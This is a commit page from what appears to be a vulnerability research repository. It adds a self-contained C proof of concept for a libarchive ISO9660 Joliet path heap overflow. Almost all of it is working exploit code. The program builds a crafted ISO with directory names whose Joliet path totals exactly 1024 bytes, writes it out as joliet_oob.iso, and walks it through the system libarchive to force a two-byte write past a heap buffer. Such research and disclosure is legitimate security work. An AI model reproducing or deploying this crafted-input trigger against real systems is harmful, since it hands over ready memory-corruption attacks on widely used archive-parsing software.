v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
JBJF committed 2026-10-29 20:08:55 +08:00
1 parent 1ea76ab005
commit 7949c7ce9f
79 files changed
+4109 -892

No files matched your search

+266
View File
@@ -0,0 +1,266 @@
// arc.iso · libarchive · build_pathname_utf16be · CVE-2026-112522
// ISO9660 Joliet path name heap overflow
// C twin of the Swift POC: builds the 1024-byte-chain Joliet ISO and walks it through
// libarchive (dlopen /usr/lib/libarchive.2.dylib). The deepest unwind writes 2 bytes
// past a malloc(1024) heap buffer.
// Variants arc.iso.stress (repeat walk) and arc.cab (LZX early match) are noted in the
// Swift POC and the folder's python builder.
// Build: clang -O2 -o cve-2026-112522 CVE-2026-112522.c
// Run: ./cve-2026-112522 [iterations]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
#define SECTOR 2048
// ── byte helpers ──
static void both32(uint8_t *p, uint32_t v) {
p[0] = v & 0xff; p[1] = (v >> 8) & 0xff; p[2] = (v >> 16) & 0xff; p[3] = (v >> 24) & 0xff;
p[4] = v >> 24; p[5] = (v >> 16) & 0xff; p[6] = (v >> 8) & 0xff; p[7] = v & 0xff;
}
static void both16(uint8_t *p, uint16_t v) {
p[0] = v & 0xff; p[1] = v >> 8; p[2] = v >> 8; p[3] = v & 0xff;
}
static void le32(uint8_t *p, uint32_t v) { p[0] = v; p[1] = v >> 8; p[2] = v >> 16; p[3] = v >> 24; }
static void le16(uint8_t *p, uint16_t v) { p[0] = v; p[1] = v >> 8; }
// UTF-16BE encoding of an ASCII string
static size_t ucs2(const char *s, uint8_t *out) {
size_t n = strlen(s);
for (size_t i = 0; i < n; i++) { out[i * 2] = 0; out[i * 2 + 1] = (uint8_t)s[i]; }
return n * 2;
}
// ── ISO9660 directory record (from CVE-2026-112522.py: dir_record) ──
// name_len may exceed the name buffer; the record is capped at 255 bytes total
static size_t dir_record(uint8_t *rec, const uint8_t *name, size_t name_len,
uint32_t extent, uint32_t size, uint8_t flags) {
uint8_t *p = rec;
*p++ = 0; // length, patched below
*p++ = 0; // extended attribute length
both32(p, extent); p += 8;
both32(p, size); p += 8;
*p++ = 126; *p++ = 10; *p++ = 28; *p++ = 12; // recording date 2026-10-28 12:00
*p++ = 0; *p++ = 0; *p++ = 0;
*p++ = flags; *p++ = 0; *p++ = 0; // file unit / interleave
both16(p, 1); p += 4; // volume sequence
*p++ = 0; // file identifier length, patched below
size_t name_taken = name_len;
size_t fixed = (size_t)(p - rec); // name starts at offset 33
if (fixed + name_taken > 255) name_taken = 255 - fixed; // record cap
memcpy(p, name, name_taken);
p += name_taken;
size_t used = (size_t)(p - rec);
if (used % 2) { *p++ = 0; used++; }
rec[0] = (uint8_t)used; // record length
rec[32] = (uint8_t)name_taken; // file identifier length
return used;
}
// ── seed construction (from CVE-2026-112522.py: build_joliet_iso) ──
// Chain root -> A(103) -> B(103) -> C(103) -> D(103) -> E(96) -> file F.
// Joliet path accumulates 4*206 + 192 + 4*2 = 1024 bytes exactly, so the deepest
// separator write lands at p[1024]/p[1025], two bytes past malloc(1024).
static uint8_t *build_joliet_iso(size_t *out_n) {
char names[5][104];
for (int i = 0; i < 4; i++) { memset(names[i], 'A' + i, 103); names[i][103] = 0; }
memset(names[4], 'E', 96); names[4][96] = 0;
const int LBA_PVD = 16, LBA_SVD = 17, LBA_TERM = 18, LBA_PT_ASCII = 19, LBA_PT_JOLIET = 20;
const int LBA_ROOT = 21, first_dir = 22, LBA_FILE = 27;
const int total_sectors = 28;
uint8_t *img = calloc((size_t)total_sectors * SECTOR, 1);
// ---- path tables (type L)
uint8_t pt_ascii[SECTOR], pt_joliet[SECTOR];
size_t pt_ascii_n = 0, pt_joliet_n = 0;
for (int i = -1; i < 5; i++) {
const char *name = i < 0 ? "" : names[i];
uint16_t parent = i < 0 ? 1 : (uint16_t)(i + 2);
uint32_t extent = i < 0 ? (uint32_t)LBA_ROOT : (uint32_t)(first_dir + i);
uint8_t nb[208];
size_t nb_n;
if (i < 0) { nb[0] = 0; nb_n = 1; }
else nb_n = strlen(name); // ASCII table: raw bytes
memcpy(nb, name, nb_n);
uint8_t *rec = pt_ascii + pt_ascii_n;
*rec++ = (uint8_t)nb_n; *rec++ = 0;
le32(rec, extent); rec += 4;
le16(rec, parent); rec += 2;
memcpy(rec, nb, nb_n); rec += nb_n;
if ((size_t)(rec - (pt_ascii + pt_ascii_n)) % 2) *rec++ = 0;
pt_ascii_n = (size_t)(rec - pt_ascii);
// Joliet table: UTF-16BE names
uint8_t jnb[208];
size_t jnb_n;
if (i < 0) { jnb[0] = 0; jnb_n = 1; }
else jnb_n = ucs2(name, jnb);
rec = pt_joliet + pt_joliet_n;
*rec++ = (uint8_t)jnb_n; *rec++ = 0;
le32(rec, extent); rec += 4;
le16(rec, parent); rec += 2;
memcpy(rec, jnb, jnb_n); rec += jnb_n;
if ((size_t)(rec - (pt_joliet + pt_joliet_n)) % 2) *rec++ = 0;
pt_joliet_n = (size_t)(rec - pt_joliet);
}
memcpy(img + LBA_PT_ASCII * SECTOR, pt_ascii, pt_ascii_n);
memcpy(img + LBA_PT_JOLIET * SECTOR, pt_joliet, pt_joliet_n);
// ---- directories
uint8_t dirbuf[SECTOR];
uint8_t cname[208];
// root contains A
{
memset(dirbuf, 0, SECTOR);
size_t off = 0;
off += dir_record(dirbuf + off, (uint8_t[]){0x00}, 1, (uint32_t)LBA_ROOT, SECTOR, 0x02);
off += dir_record(dirbuf + off, (uint8_t[]){0x01}, 1, (uint32_t)LBA_ROOT, SECTOR, 0x02);
size_t cn = ucs2(names[0], cname);
off += dir_record(dirbuf + off, cname, cn, (uint32_t)first_dir, SECTOR, 0x02);
memcpy(img + LBA_ROOT * SECTOR, dirbuf, SECTOR);
}
for (int i = 0; i < 5; i++) {
int lba = first_dir + i;
int parent = i == 0 ? LBA_ROOT : first_dir + i - 1;
memset(dirbuf, 0, SECTOR);
size_t off = 0;
off += dir_record(dirbuf + off, (uint8_t[]){0x00}, 1, (uint32_t)lba, SECTOR, 0x02);
off += dir_record(dirbuf + off, (uint8_t[]){0x01}, 1, (uint32_t)parent, SECTOR, 0x02);
size_t cn;
if (i + 1 < 5) {
cn = ucs2(names[i + 1], cname);
off += dir_record(dirbuf + off, cname, cn, (uint32_t)(first_dir + i + 1), SECTOR, 0x02);
} else {
cn = ucs2("F", cname);
off += dir_record(dirbuf + off, cname, cn, (uint32_t)LBA_FILE, 0, 0x00);
}
memcpy(img + (size_t)lba * SECTOR, dirbuf, SECTOR);
}
// LBA_FILE: empty sector
// ---- volume descriptors
for (int joliet = 0; joliet < 2; joliet++) {
uint8_t *d = img + (joliet ? LBA_SVD : LBA_PVD) * SECTOR;
int lba = joliet ? LBA_SVD : LBA_PVD;
(void)lba;
d[0] = joliet ? 2 : 1;
memcpy(d + 1, "CD001", 5);
d[6] = 1;
if (joliet) {
uint8_t sid[32];
ucs2("CINDER27 ", sid); // 16 UTF-16 units
memcpy(d + 8, sid, 32);
uint8_t vid[32];
ucs2("JOLIET-OOB ", vid);
memcpy(d + 40, vid, 32);
} else {
memcpy(d + 8, "CINDER27 ", 32);
memcpy(d + 40, "JOLIET-OOB ", 32);
}
both32(d + 80, (uint32_t)total_sectors);
both16(d + 120, 1); // volume set size
both16(d + 124, 1); // volume sequence number
both16(d + 128, (uint16_t)SECTOR); // logical block size
both32(d + 132, (uint32_t)(joliet ? pt_joliet_n : pt_ascii_n));
le32(d + 140, (uint32_t)(joliet ? LBA_PT_JOLIET : LBA_PT_ASCII));
le32(d + 144, 0);
d[148] = 0; d[149] = 0; d[150] = 0; d[151] = 0; // type-M unused
d[152] = 0; d[153] = 0; d[154] = 0; d[155] = 0;
uint8_t rootrec[40];
size_t rootrec_n = dir_record(rootrec, (uint8_t[]){0x00}, 1, (uint32_t)LBA_ROOT, SECTOR, 0x02);
memcpy(d + 156, rootrec, rootrec_n);
d[881] = 1; // file structure version
if (joliet) memcpy(d + 88, "%/E", 3); // escape sequence
}
// terminator
uint8_t *term = img + LBA_TERM * SECTOR;
term[0] = 255;
memcpy(term + 1, "CD001", 5);
term[6] = 1;
*out_n = (size_t)total_sectors * SECTOR;
return img;
}
// ── trigger: walk the archive through libarchive ──
typedef struct archive archive_t;
typedef struct archive_entry archive_entry_t;
static archive_t *(*arc_new)(void);
static int (*arc_filter_all)(archive_t *);
static int (*arc_format_all)(archive_t *);
static int (*arc_open_memory)(archive_t *, const void *, size_t);
static int (*arc_next_header)(archive_t *, archive_entry_t **);
static const char *(*arc_entry_pathname)(archive_entry_t *);
static int64_t (*arc_entry_size)(archive_entry_t *);
static const char *(*arc_error_string)(archive_t *);
static int (*arc_free)(archive_t *);
static int walk(const uint8_t *img, size_t n, int iteration, size_t *max_path) {
archive_t *a = arc_new();
if (!a) { printf(" archive_read_new failed\n"); return -1; }
arc_filter_all(a);
arc_format_all(a);
if (arc_open_memory(a, img, n) != 0) {
printf(" open_memory rc != 0: %s\n", arc_error_string(a) ? arc_error_string(a) : "?");
arc_free(a);
return -1;
}
int entries = 0;
while (1) {
archive_entry_t *e = NULL;
int r = arc_next_header(a, &e);
if (r != 0) {
if (r < 0) printf(" next_header error: %s\n", arc_error_string(a) ? arc_error_string(a) : "?");
break;
}
const char *p = arc_entry_pathname(e);
size_t plen = p ? strlen(p) : 0;
if (plen > *max_path) *max_path = plen;
if (entries < 8) printf(" entry %2d: %s (%lld B)\n", entries, p ? p : "<noname>", (long long)arc_entry_size(e));
entries++;
if (entries > 64) break;
}
printf(" pass %d: %d entries, max pathname %zu B\n", iteration, entries, *max_path);
arc_free(a);
return entries;
}
int main(int argc, char **argv) {
int iterations = argc > 1 ? atoi(argv[1]) : 1;
size_t n = 0;
uint8_t *img = build_joliet_iso(&n);
FILE *f = fopen("joliet_oob.iso", "wb");
if (f) { fwrite(img, 1, n, f); fclose(f); }
void *h = dlopen("/usr/lib/libarchive.2.dylib", RTLD_NOW);
if (!h) { printf("dlopen libarchive failed: %s\n", dlerror()); return 1; }
arc_new = dlsym(h, "archive_read_new");
arc_filter_all = dlsym(h, "archive_read_support_filter_all");
arc_format_all = dlsym(h, "archive_read_support_format_all");
arc_open_memory = dlsym(h, "archive_read_open_memory");
arc_next_header = dlsym(h, "archive_read_next_header");
arc_entry_pathname = dlsym(h, "archive_entry_pathname");
arc_entry_size = dlsym(h, "archive_entry_size");
arc_error_string = dlsym(h, "archive_error_string");
arc_free = dlsym(h, "archive_read_free");
if (!arc_new || !arc_open_memory || !arc_next_header || !arc_free) {
printf("libarchive symbols missing\n");
return 1;
}
size_t max_path = 0;
for (int i = 0; i < iterations; i++) {
walk(img, n, i + 1, &max_path);
}
printf("CVE-2026-112522 · Joliet chain 4*206 + 192 + 4*2 = 1024 B, max pathname %zu B\n", max_path);
printf("the deepest separator write lands at p[1024]/p[1025], 2 bytes past malloc(1024)\n");
printf("seed: joliet_oob.iso (%zu B) · survived %d walk(s)\n", n, iterations);
free(img);
return 0;
}